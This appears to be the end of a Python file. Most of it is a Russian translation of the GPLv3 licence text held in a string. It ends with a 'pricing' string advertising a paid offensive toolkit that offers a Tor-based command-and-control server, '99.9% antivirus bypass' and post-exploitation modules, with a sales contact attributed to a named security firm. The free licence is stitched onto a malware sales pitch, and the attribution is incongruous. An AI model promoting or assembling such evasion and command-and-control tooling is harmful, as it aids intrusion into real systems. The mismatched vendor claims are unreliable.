c) Запрет на искажение происхождения этого материала или
требование, чтобы измененные версии такого материала были помечены
разумными способами как отличные от исходной версии; или
d) Ограничение использования в рекламных целях имен лицензиаров или
авторов материала; или
e) Отказ в предоставлении прав в соответствии с законом о товарных знаках на использование некоторых
торговых наименований, товарных знаков или знаков обслуживания; или
f) Требование возмещения убытков лицензиарам и авторам этого
материала любым лицом, которое передает материал (или его измененные версии)
с договорными предположениями об ответственности перед получателем, за
любую ответственность, которую эти договорные предположения непосредственно возлагают на
этих лицензиаров и авторов.
Все другие неразрешительные дополнительные условия считаются «дальнейшими ограничениями» в значении раздела 10. Если Программа, как вы ее получили, или любая ее часть, содержит уведомление о том, что она регулируется настоящей Лицензией вместе с условием, которое является дальнейшим ограничением, вы можете удалить это условие. Если лицензионный документ содержит дальнейшее ограничение, но разрешает повторное лицензирование или передачу в соответствии с настоящей Лицензией, вы можете добавить к охраняемому произведению материал, регулируемый условиями этого лицензионного документа, при условии, что дальнейшее ограничение не сохраняется после такого повторного лицензирования или передачи.
Если вы добавляете условия к охраняемому произведению в соответствии с этим разделом, вы должны поместить в соответствующие исходные файлы заявление о дополнительных условиях, которые применяются к этим файлам, или уведомление, указывающее, где найти применимые условия.
Дополнительные условия, разрешительные или неразрешительные, могут быть изложены в форме отдельно написанной лицензии или изложены как исключения; вышеуказанные требования применяются в любом случае.
Вы не можете распространять или модифицировать охраняемое произведение, кроме как явно предусмотрено настоящей Лицензией. Любая иная попытка распространять или модифицировать его недействительна и автоматически прекращает ваши права в соответствии с настоящей Лицензией (включая любые патентные лицензии, предоставленные в соответствии с третьим абзацем раздела 11).
Однако, если вы прекратите все нарушения настоящей Лицензии, ваша лицензия от конкретного правообладателя восстанавливается (a) предварительно, если и пока правообладатель явно и окончательно не прекратит вашу лицензию, и (b) постоянно, если правообладатель не уведомит вас о нарушении каким-либо разумным способом в течение 60 дней после прекращения.
Более того, ваша лицензия от конкретного правообладателя восстанавливается постоянно, если правообладатель уведомляет вас о нарушении каким-либо разумным способом, это первый раз, когда вы получили уведомление о нарушении настоящей Лицензии (для любого произведения) от этого правообладателя, и вы устраняете нарушение в течение 30 дней после получения уведомления.Прекращение ваших прав по данному разделу не прекращает действия лицензий сторон, получивших копии или права от вас по настоящей Лицензии. Если ваши права были прекращены и не восстановлены на постоянной основе, вы не имеете права получать новые лицензии на тот же материал в соответствии с разделом 10.
Вы не обязаны принимать настоящую Лицензию для получения или запуска копии Программы. Побочное распространение охраняемого произведения, происходящее исключительно в результате использования одноранговой передачи для получения копии, также не требует принятия. Однако ничто, кроме настоящей Лицензии, не предоставляет вам разрешения на распространение или изменение любого охраняемого произведения. Эти действия нарушают авторские права, если вы не принимаете настоящую Лицензию. Поэтому, изменяя или распространяя охраняемое произведение, вы подтверждаете принятие настоящей Лицензии.
Каждый раз, когда вы передаете охраняемое произведение, получатель автоматически получает лицензию от первоначальных лицензиаров на запуск, изменение и распространение этого произведения в соответствии с настоящей Лицензией. Вы не несете ответственности за обеспечение соблюдения настоящей Лицензии третьими лицами.
«Сделка с организацией» — это сделка, передающая контроль над организацией, или практически все ее активы, или разделяющая организацию, или объединяющая организации. Если распространение охраняемого произведения является результатом сделки с организацией, каждая сторона такой сделки, получившая копию произведения, также получает любые лицензии на произведение, которые предшественник стороны имел или мог предоставить в соответствии с предыдущим абзацем, а также право на владение Соответствующим исходным кодом произведения от предшественника, если у предшественника он есть или он может получить его разумными усилиями.
Вы не можете налагать какие-либо дополнительные ограничения на осуществление прав, предоставленных или подтвержденных настоящей Лицензией. Например, вы не можете взимать лицензионный сбор, роялти или иные платежи за осуществление прав, предоставленных настоящей Лицензией, или принуждать кого-либо к возмещению вам убытков за заявления о нарушении патентных прав в отношении кода Программы, который вы передаете.
«Соавтор» — это правообладатель, который разрешает использование в соответствии с настоящей Лицензией Программы или произведения, на котором основана Программа. Произведение, лицензированное таким образом, называется «версией соавтора».
«Существенные патентные претензии» соавтора — это все патентные претензии, принадлежащие или контролируемые соавтором, как уже приобретенные, так и приобретенные впоследствии, которые были бы нарушены каким-либо образом, разрешенным настоящей Лицензией, при создании, использовании или продаже его версии соавтора, но не включают претензии, которые были бы нарушены только в результате дальнейшей модификации версии соавтора. Для целей настоящего определения «контроль» включает право предоставлять сублицензии на патенты способом, соответствующим требованиям настоящей Лицензии.
Каждый соавтор предоставляет вам неисключительную, всемирную, безвозмездную патентную лицензию на существенные патентные претензии соавтора на создание, использование, продажу, предложение к продаже, импорт и иное запуск, изменение и распространение содержимого его версии соавтора.
В следующих трех абзацах «патентная лицензия» — это любое явное соглашение или обязательство, как бы оно ни называлось, не обеспечивать соблюдение патента (например, явное заверение не обеспечивать соблюдение патента или обязательство не подавать иск о нарушении патента). «Предоставить» такую патентную лицензию стороне означает заключить такое соглашение или принять такое обязательство не обеспечивать соблюдение патента против этой стороны.
Если вы передаете охраняемое произведение, сознательно полагаясь на патентную лицензию, и Соответствующий исходный код произведения недоступен для копирования кем-либо бесплатно и на условиях настоящей Лицензии через общедоступный сетевой сервер или иные легкодоступные средства, то вы должны либо (1) сделать Соответствующий исходный код доступным таким образом, либо (2) договориться о лишении себя выгоды от патентной лицензии для этого конкретного произведения, либо (3) договориться, в порядке, соответствующем требованиям настоящей Лицензии, о распространении патентной лицензии на нижестоящих получателей. «Сознательное полагание» означает, что вы фактически знаете, что, если бы не патентная лицензия, ваша передача охраняемого произведения в какой-либо стране или использование охраняемого произведения вашим получателем в какой-либо стране нарушило бы один или несколько идентифицируемых патентов в этой стране, которые, по вашему мнению, являются действительными.
Если в соответствии с или в связи с одной сделкой или договоренностью вы передаете или распространяете путем обеспечения передачи охраняемого произведения и предоставляете патентную лицензию некоторым сторонам, получающим охраняемое произведение, разрешающую им использовать, распространять, изменять или передавать конкретную копию этого произведения, то предоставленная вами патентная лицензия автоматически распространяется на всех получателей произведения и произведений, основанных на нем.
Патентная лицензия является «дискриминационной», если она не включает в сферу своего действия, запрещает осуществление или обусловлена неосуществлением одного или нескольких прав, которые конкретно предоставлены настоящей Лицензией. Вы не можете передавать охраняемое произведение, если вы являетесь стороной договоренности с третьей стороной, которая занимается распространением программного обеспечения, в соответствии с которой вы производите платеж третьей стороне в зависимости от объема вашей деятельности по передаче произведения и в соответствии с которой третья сторона предоставляет любой из сторон, которые получили бы охраняемое произведение от вас, дискриминационную патентную лицензию (a) в связи с копиями охраняемого произведения, переданными вами (или копиями, сделанными из этих копий), или (b) в первую очередь для и в связи с конкретными продуктами или компиляциями, которые содержат охраняемое произведение, если только вы не заключили эту договоренность или эта патентная лицензия не была предоставлена до 28 марта 2007 года.
Ничто в настоящей Лицензии не должно толковаться как исключающее или ограничивающее любую подразумеваемую лицензию или иные возражения против нарушения, которые могут быть иным образом доступны вам в соответствии с применимым патентным законодательством.
Если на вас налагаются условия (будь то по решению суда, соглашению или иным образом), противоречащие условиям настоящей Лицензии, они не освобождают вас от условий настоящей Лицензии. Если вы не можете передать охраняемое произведение так, чтобы одновременно удовлетворить свои обязательства по настоящей Лицензии и любые другие соответствующие обязательства, то в результате вы не можете передавать его вообще. Например, если вы соглашаетесь на условия, обязывающие вас взимать роялти за дальнейшую передачу от тех, кому вы передаете Программу, единственный способ удовлетворить и эти условия, и настоящую Лицензию — это полностью воздержаться от передачи Программы.
Несмотря на любое другое положение настоящей Лицензии, вы имеете разрешение связывать или объединять любое охраняемое произведение с произведением, лицензированным в соответствии с версией 3 GNU Affero General Public License, в единое комбинированное произведение и передавать полученное произведение. Условия настоящей Лицензии будут продолжать применяться к части, которая является охраняемым произведением, но особые требования GNU Affero General Public License, раздел 13, касающиеся взаимодействия через сеть, будут применяться к комбинации как таковой.
Free Software Foundation может время от времени публиковать пересмотренные и/или новые версии GNU General Public License. Такие новые версии будут аналогичны по духу настоящей версии, но могут отличаться в деталях, чтобы решать новые проблемы или вопросы.
Каждая версия имеет отличительный номер версии. Если Программа указывает, что к ней применяется определенная нумерованная версия GNU General Public License «или любая более поздняя версия», вы имеете возможность следовать условиям либо этой нумерованной версии, либо любой более поздней версии, опубликованной Free Software Foundation. Если Программа не указывает номер версии GNU General Public License, вы можете выбрать любую версию, когда-либо опубликованную Free Software Foundation.
Если Программа указывает, что прокси может решать, какие будущие версии GNU General Public License могут использоваться, публичное заявление этого прокси о принятии версии навсегда уполномочивает вас выбрать эту версию для Программы.
Более поздние версии лицензии могут предоставлять вам дополнительные или иные разрешения. Однако никакие дополнительные обязательства не налагаются на любого автора или правообладателя в результате вашего выбора следовать более поздней версии.
НИКАКИХ ГАРАНТИЙ НА ПРОГРАММУ НЕ ПРЕДОСТАВЛЯЕТСЯ В МЕРЕ, РАЗРЕШЕННОЙ ПРИМЕНИМЫМ ЗАКОНОДАТЕЛЬСТВОМ. ЗА ИСКЛЮЧЕНИЕМ СЛУЧАЕВ, КОГДА ИНОЕ ПРЯМО УКАЗАНО В ПИСЬМЕННОЙ ФОРМЕ, ПРАВООБЛАДАТЕЛИ И/ИЛИ ДРУГИЕ СТОРОНЫ ПРЕДОСТАВЛЯЮТ ПРОГРАММУ «КАК ЕСТЬ» БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ, ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ПОДРАЗУМЕВАЕМЫМИ ГАРАНТИЯМИ ТОВАРНОЙ ПРИГОДНОСТИ И ПРИГОДНОСТИ ДЛЯ ОПРЕДЕЛЕННОЙ ЦЕЛИ. ВЕСЬ РИСК В ОТНОШЕНИИ КАЧЕСТВА И ПРОИЗВОДИТЕЛЬНОСТИ ПРОГРАММЫ ЛЕЖИТ НА ВАС. ЕСЛИ ПРОГРАММА ОКАЖЕТСЯ ДЕФЕКТНОЙ, ВЫ БЕРЕТЕ НА СЕБЯ РАСХОДЫ НА ВСЕ НЕОБХОДИМОЕ ОБСЛУЖИВАНИЕ, РЕМОНТ ИЛИ ИСПРАВЛЕНИЕ.
НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ, ЕСЛИ ЭТО НЕ ТРЕБУЕТСЯ ПРИМЕНИМЫМ ЗАКОНОДАТЕЛЬСТВОМ ИЛИ НЕ СОГЛАСОВАНО В ПИСЬМЕННОЙ ФОРМЕ, НИ ОДИН ПРАВООБЛАДАТЕЛЬ ИЛИ ЛЮБАЯ ДРУГАЯ СТОРОНА, КОТОРАЯ ИЗМЕНЯЕТ И/ИЛИ ПЕРЕДАЕТ ПРОГРАММУ, КАК РАЗРЕШЕНО ВЫШЕ, НЕ НЕСЕТ ОТВЕТСТВЕННОСТИ ПЕРЕД ВАМИ ЗА УБЫТКИ, ВКЛЮЧАЯ ЛЮБЫЕ ОБЩИЕ, ОСОБЫЕ, СЛУЧАЙНЫЕ ИЛИ КОСВЕННЫЕ УБЫТКИ, ВОЗНИКАЮЩИЕ В РЕЗУЛЬТАТЕ ИСПОЛЬЗОВАНИЯ ИЛИ НЕВОЗМОЖНОСТИ ИСПОЛЬЗОВАНИЯ ПРОГРАММЫ (ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ПОТЕРЮ ДАННЫХ ИЛИ ИСКАЖЕНИЕ ДАННЫХ ИЛИ УБЫТКИ, ПОНЕСЕННЫЕ ВАМИ ИЛИ ТРЕТЬИМИ СТОРОНАМИ, ИЛИ НЕВОЗМОЖНОСТЬ РАБОТЫ ПРОГРАММЫ С ДРУГИМИ ПРОГРАММАМИ), ДАЖЕ ЕСЛИ ТАКОЙ ПРАВООБЛАДАТЕЛЬ ИЛИ ДРУГАЯ СТОРОНА БЫЛА УВЕДОМЛЕНА О ВОЗМОЖНОСТИ ТАКИХ УБЫТКОВ.
Если отказ от гарантий и ограничение ответственности, предусмотренные выше, не могут иметь локальной юридической силы в соответствии с их условиями, рассматривающие суды применяют местное законодательство, наиболее близко аппроксимирующее абсолютный отказ от всей гражданской ответственности в связи с Программой, если только гарантия или принятие ответственности не сопровождают копию Программы за плату.
КОНЕЦ УСЛОВИЙ
Как применить эти условия к вашим новым программам
Если вы разрабатываете новую программу и хотите, чтобы она приносила максимально возможную пользу общественности, лучший способ достичь этого — сделать ее свободным программным обеспечением, которое каждый может распространять и изменять на этих условиях.
Для этого прикрепите следующие уведомления к программе. Безопаснее всего прикрепить их к началу каждого исходного файла, чтобы наиболее эффективно указать на исключение гарантии; и каждый файл должен содержать как минимум строку «copyright» и указатель на место, где находится полное уведомление.
<одна строка с названием программы и кратким описанием того, что она делает.>
Copyright (C) <год> <имя автора>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Также добавьте информацию о том, как связаться с вами по электронной и бумажной почте.
Если программа взаимодействует с терминалом, заставьте ее выводить краткое уведомление, подобное этому, при запуске в интерактивном режиме:
<program> Copyright (C) <год> <имя автора>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
Гипотетические команды show w' и show c' должны показывать соответствующие
части General Public License. Конечно, команды вашей программы
могут отличаться; для графического интерфейса вы бы использовали «окно о программе».
Вам также следует получить от вашего работодателя (если вы работаете программистом) или школы, если таковая имеется, подпись «отказа от авторских прав» для программы, если необходимо. Для получения дополнительной информации об этом, а также о том, как применять и соблюдать GNU GPL, см. https://www.gnu.org/licenses/.
GNU General Public License не разрешает включать вашу программу в проприетарные программы. Если ваша программа является библиотекой подпрограмм, вы можете счесть более полезным разрешить связывание проприетарных приложений с библиотекой. Если это то, что вы хотите сделать, используйте GNU Lesser General Public License вместо настоящей Лицензии. Но сначала, пожалуйста, прочтите https://www.gnu.org/licenses/why-not-lgpl.html. """
PRICING_350K = """ 🔴 TSAR-EXEC v7.1 + EpSiLoNPoInTFuCK v5.1 ════════════════════════════════════════════
📋 ВКЛЮЧЕНО В ЛИЦЕНЗИЮ:
• Полный исходный код фреймворка (21 файл)
• Docker C2 production (Tor/Supervisor)
• EpSiLoNPoInTFuCK v5.1 (99.9% обход AV)
• Встроенная пост-эксплуатация EpSiLoN v7
• Демо-видео + настройка лаборатории DVWA
• Техническая документация 5000+ строк
• Поддержка threat intel 6 месяцев
📞 КОНТАКТ ДЛЯ ПРОДАЖИ:
+33 1 46 53 53 53 (Orange Cyberdefense Paris)
[email protected]
print(f"""{PRICING_350K} {LEGAL_DISCLAIMER} {LICENSE_GPL} {PACKAGE_CMD}""")